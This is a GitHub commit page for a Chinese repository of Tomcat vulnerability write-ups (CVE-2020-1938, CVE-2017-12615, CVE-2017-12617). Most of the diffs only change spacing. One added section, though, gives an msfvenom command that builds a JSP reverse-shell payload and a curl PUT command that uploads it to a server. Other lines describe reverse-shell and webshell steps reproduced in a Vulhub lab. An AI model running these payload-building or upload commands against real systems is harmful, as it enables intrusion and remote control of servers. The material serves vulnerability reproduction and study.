Skip to content

Commit 3adc06b

Browse files
committed
update
1 parent 73087a9 commit 3adc06b

35 files changed

+99
-374
lines changed

中间件漏洞/Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938.md

Lines changed: 15 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -24,13 +24,13 @@ Apache Tomcat 9 < 9.0.31
2424

2525
## 环境搭建
2626

27-
Vulhub执行如下命令启动一个Tomcat 9.0.30:
27+
Vulhub 执行如下命令启动一个 Tomcat 9.0.30:
2828

2929
```
3030
docker-compose up -d
3131
```
3232

33-
环境启动后,访问`http://your-ip:8080`即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat
33+
环境启动后,访问 `http://your-ip:8080` 即可查看 tomcat 默认页面,此时通过 AJP 协议的 8009 端口亦可访问 Tomcat
3434

3535
## 漏洞复现
3636

@@ -39,33 +39,33 @@ docker-compose up -d
3939
- https://github.com/chaitin/xray
4040
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
4141

42-
通过漏洞POC[CNVD-2020-10487-Tomcat-Ajp-lfi](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi)进行测试,注意,代码基于python2环境
42+
通过漏洞 POC[CNVD-2020-10487-Tomcat-Ajp-lfi](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi) 进行测试,注意,代码基于 python2 环境
4343

44-
读取WEB-INF/web.xml文件
44+
读取 WEB-INF/web.xml 文件
4545

4646
![image-20220302160031354](images/202203021600655.png)
4747

48-
在docker的ROOT目录下新建文件用来测试是否可以成功读取,首先进入容器新建一个flag.txt文件
48+
在 docker 的 ROOT 目录下新建文件用来测试是否可以成功读取,首先进入容器新建一个 flag.txt 文件
4949

5050
```
5151
[root@VM-16-16-centos CVE-2020-1938]# docker exec -it fbe4 /bin/bash
5252
root@fbe43a63b620:/usr/local/tomcat# cd webapps/ROOT/
5353
root@fbe43a63b620:/usr/local/tomcat/webapps/ROOT# echo "flag{Woooooooo}" > flag.txt
5454
```
5555

56-
执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取flag.txt文件,读取成功:
56+
执行 CNVD-2020-10487-Tomcat-Ajp-lfi.py 读取 flag.txt 文件,读取成功:
5757

5858
```
5959
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f flag.txt
6060
```
6161

6262
![image-20220412145606643](images/image-20220412145606643.png)
6363

64-
### 反弹shell
64+
### 反弹 shell
6565

66-
该漏洞需要配合文件上传漏洞才能利用,假设服务器已经有了存在一个txt文件,里面的内容可以执行任意命令(实际情况中,要利用目标服务器的文件上传功能上传文件)。
66+
该漏洞需要配合文件上传漏洞才能利用,假设服务器已经有了存在一个 txt 文件,里面的内容可以执行任意命令(实际情况中,要利用目标服务器的文件上传功能上传文件)。
6767

68-
构造payload
68+
构造 payload
6969

7070
![image-20220412151753346](images/image-20220412151753346.png)
7171

@@ -82,29 +82,29 @@ python CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f flag.txt
8282
8383
```
8484

85-
将内容保存在txt文件里,使用命令将txt文件复制到服务器的ROOT路径
85+
将内容保存在 txt 文件里,使用命令将 txt 文件复制到服务器的 ROOT 路径
8686

8787
```
8888
[root@VM-16-16-centos CVE-2020-1938]# docker cp shell.txt fbe4:/usr/local/tomcat/webapps/ROOT/
8989
```
9090

91-
要想实现文件包含,必须要运行包含的文件,所以目标文件需要是jsp
91+
要想实现文件包含,必须要运行包含的文件,所以目标文件需要是 jsp
9292

93-
此处需要修改CNVD-2020-10487-Tomcat-Ajp-lfi.py脚本中的文件名asdf为asdf.jsp:
93+
此处需要修改 CNVD-2020-10487-Tomcat-Ajp-lfi.py 脚本中的文件名 asdf 为 asdf.jsp:
9494

9595
![image-20220412151136832](images/image-20220412151136832.png)
9696

97-
执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取shell.txt文件,执行反弹shell命令
97+
执行 CNVD-2020-10487-Tomcat-Ajp-lfi.py 读取 shell.txt 文件,执行反弹 shell 命令
9898

9999
```
100100
python CNVD-2020-10487-Tomcat-Ajp-lfi-shell.py 127.0.0.1 -p 8009 -f shell.txt
101101
```
102102

103-
监听6666端口,成功接收反弹shell
103+
监听 6666 端口,成功接收反弹 shell
104104

105105
![image-20220412152039391](images/image-20220412152039391.png)
106106

107-
## 漏洞POC
107+
## 漏洞 POC
108108

109109
```python
110110
#!/usr/bin/env python
@@ -410,4 +410,3 @@ _,data = t.perform_request('/asdf',attributes=[
410410
print('----------------------------')
411411
print("".join([d.data for d in data]))
412412
```
413-

中间件漏洞/Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615.md renamed to 中间件漏洞/Apache Tomcat PUT 方法任意写文件漏洞 CVE-2017-12615.md

Lines changed: 22 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,16 @@
1-
# Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615
1+
# Apache Tomcat PUT 方法任意写文件漏洞 CVE-2017-12615
22

33
## 漏洞描述
44

5+
2017 年 9 月 19 日,Apache Tomcat 官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞 (CVE-2017-12615)。当 启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP 文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
6+
57
参考:
68

79
- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
810
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
911
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
1012

11-
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
13+
漏洞本质 Tomcat 配置了可写(readonly=false),导致我们可以往服务器写文件:
1214

1315
```
1416
<servlet>
@@ -30,7 +32,7 @@
3032
</servlet>
3133
```
3234

33-
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
35+
虽然 Tomcat 对文件后缀有一定检测(不能直接写 jsp),但我们使用一些文件系统的特性(如 Linux 下可用 `/`)来绕过了限制。
3436

3537
## 漏洞影响
3638

@@ -40,18 +42,18 @@ Apache Tomcat 7.0.0-7.0.81(默认配置)
4042

4143
## 环境搭建
4244

43-
Vulhub启动Tomcat 8.5.19环境
45+
Vulhub 启动 Tomcat 8.5.19 环境
4446

4547
```
4648
docker-compose build
4749
docker-compose up -d
4850
```
4951

50-
运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面
52+
运行完成后访问 `http://your-ip:8080` 即可看到 Tomcat 的 Example 页面
5153

5254
## 漏洞复现
5355

54-
直接发送以下数据包即可在Web根目录写入shell
56+
直接发送以下数据包即可在 Web 根目录写入 shell
5557

5658
```
5759
PUT /2.jsp/ HTTP/1.1
@@ -76,4 +78,17 @@ int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
7678

7779
如下:
7880

79-
![image-20220302155053358](images/202203021550397.png)
81+
![image-20220302155053358](images/202203021550397.png)
82+
83+
也可以用 PUT 方式上传。注意,最后一个 `/` 字符不可省略:
84+
85+
```shell
86+
# msf生成jsp木马
87+
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
88+
89+
# 通过PUT上传
90+
curl -v -X PUT --data-binary @shell.jsp "http://your-ip:8080/shell.jsp/"
91+
92+
# 通过DELETE删除
93+
curl -v -X DELETE "http://your-ip:8080/shell.jsp/"
94+
```

中间件漏洞/Apache Tomcat RCE via JSP Upload Bypass.md renamed to 中间件漏洞/Apache Tomcat RCE via JSP Upload Bypass CVE-2017-12617.md

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
## 漏洞描述
44

5-
Apache Tomcat版本9.0.0.M1至9.0.0、8.5.0至8.5.22、8.0.0.RC1至8.0.46和7.0.0至7.0.81且启用HTTP PUT时(例如,通过设置只读如果将Default servlet的初始化参数设置为false,则可以通过特制请求将JSP文件上载到服务器。然后可以请求此JSP,并且服务器将执行其中包含的所有代码。
5+
Apache Tomcat 版本 9.0.0.M1 至 9.0.0、8.5.0 至 8.5.22、8.0.0.RC1 至 8.0.46 和 7.0.0 至 7.0.81 且启用 HTTP PUT 时(例如,通过设置只读如果将 Default servlet 的初始化参数设置为 false,则可以通过特制请求将 JSP 文件上载到服务器。然后可以请求此 JSP,并且服务器将执行其中包含的所有代码。
66

77
## 漏洞影响
88

@@ -13,7 +13,7 @@ Apache Tomcat版本8.0.0.RC1至8.0.46
1313
Apache Tomcat版本7.0.0至7.0.81
1414
```
1515

16-
## 漏洞EXP
16+
## 漏洞 EXP
1717

1818
```python
1919
#!/usr/bin/python
@@ -256,6 +256,3 @@ else:
256256
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
257257
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
258258
```
259-
260-
261-

中间件漏洞/Apache Tomcat 远程代码执行漏洞 CVE-2017-12615.md

Lines changed: 0 additions & 169 deletions
This file was deleted.

0 commit comments

Comments
 (0)